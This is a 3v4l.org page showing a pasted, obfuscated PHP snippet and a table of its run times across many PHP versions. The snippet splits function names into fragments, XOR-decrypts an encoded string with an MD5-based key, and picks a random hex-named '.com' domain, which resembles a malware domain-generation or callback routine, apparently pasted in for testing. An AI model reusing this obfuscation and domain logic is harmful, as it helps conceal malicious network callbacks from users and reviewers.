3v4l.org

run code in 300+ PHP versions simultaneously
<?php $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); echo random($domarr,".com"); function en2($s, $q) { $l="strlen"; $p="pack"; $r="substr"; $m="md5"; $g = ""; while ($l($g)<$l($s)) { $q = $p("H*",$m($g.$q."q1w2e3r4")); $g.=$r($q,0,8); } return $s^$g; } function random($arr,$qw) { $w="gethost"; $qq="-dn"; $r="byname"; $wq="tat"; $s="s"; $g="gethostbyname"; $m="md5"; $sq="str_split"; en2("0?kgwLX371\23\5z62e2:Wn0@l.1?\4j64A403{3\5S1'\13","str_replace"); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.10.0110.00714.99
7.4.00.0060.01214.91
7.3.130.0060.01314.98
7.3.120.0090.00714.83
7.3.110.0120.00614.59
7.3.100.0050.00914.81
7.3.90.0090.00514.86
7.3.80.0060.00914.84
7.3.70.0060.00814.72
7.3.60.0030.01014.72
7.3.50.0040.00814.74
7.3.40.0060.00414.72
7.3.30.0060.00614.83
7.3.20.0090.00616.54
7.3.10.0060.01016.74
7.3.00.0040.01116.63
7.2.260.0140.00314.73
7.2.250.0020.01715.12
7.2.240.0070.00915.15
7.2.230.0030.01415.28
7.2.220.0080.00815.19
7.2.210.0000.01615.05
7.2.200.0030.00815.06
7.2.190.0090.00514.97
7.2.180.0090.00515.14
7.2.170.0080.00814.94
7.2.160.0020.01315.06
7.2.150.0100.00417.04
7.2.140.0070.01017.02
7.2.130.0070.00616.98
7.2.120.0050.01016.86
7.2.110.0060.00616.95
7.2.100.0020.01317.07
7.2.90.0070.00816.94
7.2.80.0100.00716.94
7.2.70.0090.00616.96
7.2.60.0050.00916.94
7.2.50.0080.00617.06
7.2.40.0040.00916.86
7.2.30.0070.00717.06
7.2.20.0060.00716.94
7.2.10.0060.01116.91
7.2.00.0050.00817.80
7.1.330.0040.01015.75
7.1.320.0080.00815.81
7.1.310.0030.01115.78
7.1.300.0050.00715.77
7.1.290.0030.00915.76
7.1.280.0060.00615.64
7.1.270.0040.00715.92
7.1.260.0090.00415.72
7.1.250.0030.01015.66
7.1.240.0080.00515.61
7.1.230.0040.00715.67
7.1.220.0060.00915.82
7.1.210.0030.01015.81
7.1.200.0040.00415.69
7.1.190.0130.00315.72
7.1.180.0120.00315.95
7.1.170.0100.00015.97
7.1.160.0120.00315.66
7.1.150.0000.01316.06
7.1.140.0040.01115.85
7.1.130.0060.00615.69
7.1.120.0030.01015.93
7.1.110.0120.00015.56
7.1.100.0030.00615.93
7.1.90.0000.00815.89
7.1.80.0070.00415.81
7.1.70.0050.00316.44
7.1.60.0120.00517.63
7.1.50.0150.00725.30
7.1.40.0000.01415.76
7.1.30.0060.01015.67
7.1.20.0090.00615.71
7.1.10.0000.01015.95
7.1.00.0090.04818.91
7.0.330.0000.01515.28
7.0.320.0060.00615.45
7.0.310.0040.00715.27
7.0.300.0000.01015.20
7.0.290.0060.00615.45
7.0.280.0030.01015.36
7.0.270.0070.00715.19
7.0.260.0060.00615.46
7.0.250.0040.00715.51
7.0.240.0110.00415.55
7.0.230.0080.00815.29
7.0.220.0040.00815.39
7.0.210.0000.01315.24
7.0.200.0030.01015.95
7.0.190.0040.00415.25
7.0.180.0040.00815.57
7.0.170.0100.00315.41
7.0.160.0040.00715.50
7.0.150.0090.00315.11
7.0.140.0020.04418.80
7.0.130.0030.00915.46
7.0.120.0030.01015.53
7.0.110.0060.00915.22
7.0.100.0060.00615.25
7.0.90.0030.00615.39
7.0.80.0070.01015.27
7.0.70.0030.00615.52
7.0.60.0150.02917.77
7.0.50.0030.04016.80
7.0.40.0080.02015.63
7.0.30.0060.03215.53
7.0.20.0080.04015.66
7.0.10.0060.04615.57
7.0.00.0060.04315.60
5.6.400.0140.00014.85
5.6.390.0030.01414.60
5.6.380.0000.00814.05
5.6.370.0040.00814.38
5.6.360.0000.00914.45
5.6.350.0070.00314.60
5.6.340.0060.00914.18
5.6.330.0060.00614.40
5.6.320.0000.00913.92
5.6.310.0110.00414.73
5.6.300.0110.00414.53
5.6.290.0000.01714.74
5.6.280.0030.04217.71
5.6.270.0000.01614.62
5.6.260.0070.00414.54
5.6.250.0090.00014.50
5.6.240.0040.01114.53
5.6.230.0030.01014.41
5.6.220.0070.00714.09
5.6.210.0090.03617.53
5.6.200.0060.04516.26
5.6.190.0080.03216.32
5.6.180.0030.04716.39
5.6.170.0020.02716.21
5.6.160.0060.02816.42
5.6.150.0110.03316.32
5.6.140.0040.02716.12
5.6.130.0080.04216.28
5.6.120.0070.04716.29
5.6.110.0070.02316.40
5.6.100.0050.04416.40
5.6.90.0140.03816.42
5.6.80.0050.03815.96
5.6.70.0080.02815.97
5.6.60.0090.03116.13
5.6.50.0080.02215.95
5.6.40.0050.03715.93
5.6.30.0110.04015.90
5.6.20.0100.04315.93
5.6.10.0080.04116.00
5.6.00.0100.03915.87
5.5.380.0000.01014.31
5.5.370.0030.00914.33
5.5.360.0030.01014.07
5.5.350.2120.02217.51
5.5.340.0050.04116.12
5.5.330.0030.02816.12
5.5.320.0030.03916.05
5.5.310.0050.03016.14
5.5.300.0070.04416.25
5.5.290.0050.04516.18
5.5.280.0100.04216.28
5.5.270.0030.02516.20
5.5.260.0050.03516.29
5.5.250.0100.02516.08
5.5.240.0130.03815.65
5.5.230.0090.03815.75
5.5.220.0060.02315.83
5.5.210.0010.04815.85
5.5.200.0070.04215.80
5.5.190.0080.02815.87
5.5.180.0100.03715.91
5.5.170.0070.01013.98
5.5.160.0050.04415.84
5.5.150.0090.03915.73
5.5.140.0080.04015.75
5.5.130.0070.04215.75
5.5.120.0050.04615.87
5.5.110.0050.04315.81
5.5.100.0070.03315.82
5.5.90.0030.04115.79
5.5.80.0120.02515.76
5.5.70.0050.04015.83
5.5.60.0030.04215.53
5.5.50.0110.01815.75
5.5.40.0020.04415.74
5.5.30.0070.03815.88
5.5.20.0020.04515.54
5.5.10.0050.04215.67
5.5.00.0070.02615.70
5.4.450.0050.03016.27
5.4.440.0080.03816.21
5.4.430.0060.04516.18
5.4.420.0070.02316.33
5.4.410.0100.03716.08
5.4.400.0110.04116.09
5.4.390.0120.03915.98
5.4.380.0080.02016.10
5.4.370.0060.03816.06
5.4.360.0020.04416.01
5.4.350.0110.03316.05
5.4.340.0050.02616.02
5.4.330.0040.00413.07
5.4.320.0030.02516.05
5.4.310.0050.04016.08
5.4.300.0090.02016.06
5.4.290.0030.03916.02
5.4.280.0070.02516.04
5.4.270.0110.03615.98
5.4.260.0020.02615.98
5.4.250.0050.02716.06
5.4.240.0020.02616.05
5.4.230.0050.04116.08
5.4.220.0050.04116.15
5.4.210.0050.03916.05
5.4.200.0030.03716.10
5.4.190.0030.04516.08
5.4.180.0000.04216.05
5.4.170.0070.03216.04
5.4.160.0050.04516.01
5.4.150.0070.03016.04
5.4.140.0040.02414.76
5.4.130.0030.02614.72
5.4.120.0050.02214.70
5.4.110.0050.03714.80
5.4.100.0080.03814.79
5.4.90.0060.03314.86
5.4.80.0060.03014.76
5.4.70.0080.01814.80
5.4.60.0050.02714.72
5.4.50.0050.03014.75
5.4.40.0030.02914.74
5.4.30.0070.03914.73
5.4.20.0050.03514.64
5.4.10.0100.01814.72
5.4.00.0050.03814.53
5.3.290.0170.06314.72
5.3.280.0070.05014.65
5.3.270.0100.08014.57
5.3.260.0070.05714.61
5.3.250.0070.07714.65
5.3.240.0100.04314.57
5.3.230.0000.05714.45
5.3.220.0100.06314.58
5.3.210.0100.07314.64
5.3.200.0030.07714.57
5.3.190.0070.07714.63
5.3.180.0070.07314.61
5.3.170.0030.04314.59
5.3.160.0070.07314.61
5.3.150.0170.03714.54
5.3.140.0070.06714.56
5.3.130.0130.07014.58
5.3.120.0130.06714.58
5.3.110.0000.09314.61
5.3.100.0100.07014.08
5.3.90.0100.06714.07
5.3.80.0100.05014.04
5.3.70.0030.03714.03
5.3.60.0070.07013.97
5.3.50.0000.04714.16
5.3.40.0070.04314.02
5.3.30.0100.06713.96
5.3.20.0070.04313.91
5.3.10.0070.04013.66
5.3.00.0030.03713.61
5.2.170.0100.05311.23
5.2.160.0000.05711.36
5.2.150.0000.04711.16
5.2.140.0030.03011.11
5.2.130.0000.06311.17
5.2.120.0070.03711.21
5.2.110.0100.05711.16
5.2.100.0030.04710.96
5.2.90.0030.06311.12
5.2.80.0030.06310.95
5.2.70.0030.05011.14
5.2.60.0070.05011.12
5.2.50.0100.03311.09
5.2.40.0070.03311.07
5.2.30.0070.03010.99
5.2.20.0000.04710.98
5.2.10.0030.05310.90
5.2.00.0070.05710.63
5.1.60.0000.03710.08
5.1.50.0070.0309.92
5.1.40.0030.05710.06
5.1.30.0030.04010.36
5.1.20.0030.05010.33
5.1.10.0030.05310.07
5.1.00.0070.05710.06
5.0.50.0070.0478.76
5.0.40.0000.0338.44
5.0.30.0070.0608.30
5.0.20.0000.0478.30
5.0.10.0070.0438.30
5.0.00.0000.0508.30
4.4.90.0030.0378.30
4.4.80.0100.0308.30
4.4.70.0030.0278.30
4.4.60.0030.0338.30
4.4.50.0030.0378.30
4.4.40.0030.0278.30
4.4.30.0030.0338.30
4.4.20.0000.0278.30
4.4.10.0030.0208.30
4.4.00.0070.0508.30
4.3.110.0070.0338.30
4.3.100.0030.0378.30
4.3.90.0000.0378.30
4.3.80.0000.0578.30
4.3.70.0030.0208.30
4.3.60.0000.0238.30
4.3.50.0000.0378.30
4.3.40.0000.0508.30
4.3.30.0070.0178.30
4.3.20.0100.0178.30
4.3.10.0000.0408.30
4.3.00.0000.0278.30

preferences:
35.04 ms | 401 KiB | 5 Q